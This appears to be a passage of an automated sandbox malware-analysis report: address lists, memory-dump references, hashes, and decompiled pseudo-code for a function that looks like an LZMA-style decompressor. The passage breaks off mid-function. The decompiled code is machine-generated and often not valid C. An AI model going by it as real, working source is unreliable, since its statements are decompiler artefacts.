0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040682e
0x00406834
0x00406836
0x0040683d
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 797fef13bb3e8e171cff3cae9b41bd7abdeca14a353df9249488f574514014e3
Instruction ID: 0ba87498709856dc17a0c5f751d6ecfe3ae25d7b1153355424f504aba8ac83cf
Opcode Fuzzy Hash: 797fef13bb3e8e171cff3cae9b41bd7abdeca14a353df9249488f574514014e3
Instruction Fuzzy Hash: B4817772D04229CBDF24CFA8C8447AEBBB0FB44305F25816AD856BB2C0D7785A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406247, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406247() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M0040684B))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
